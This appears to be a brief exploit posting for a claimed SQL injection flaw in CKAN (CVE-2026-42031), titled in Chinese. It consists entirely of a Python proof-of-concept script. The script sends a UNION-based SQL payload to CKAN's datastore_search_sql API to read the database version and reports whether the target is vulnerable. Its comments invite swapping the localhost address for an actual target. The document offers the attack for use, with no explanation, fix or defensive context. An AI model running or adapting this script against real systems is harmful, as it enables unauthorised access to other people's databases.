CVE-2026-42031 CKAN SQL注入漏洞

import requests def exploit(target_url): # The vulnerable endpoint endpoint = f"{target_url}/api/3/action/datastore_search_sql" # Malicious SQL payload to extract database version # Using a simple UNION based injection for demonstration payload = { "sql": "SELECT title FROM package UNION SELECT version()--" } try: response = requests.post(endpoint, json=payload, timeout=10) if response.status_code == 200: print("[+] Vulnerability confirmed!") print("[+] Response:", response.json()) else: print("[-] Exploit failed or target patched.") except Exception as e: print(f"[!] Error: {e}") if __name__ == "__main__": target = "http://localhost:5000" # Replace with actual target exploit(target)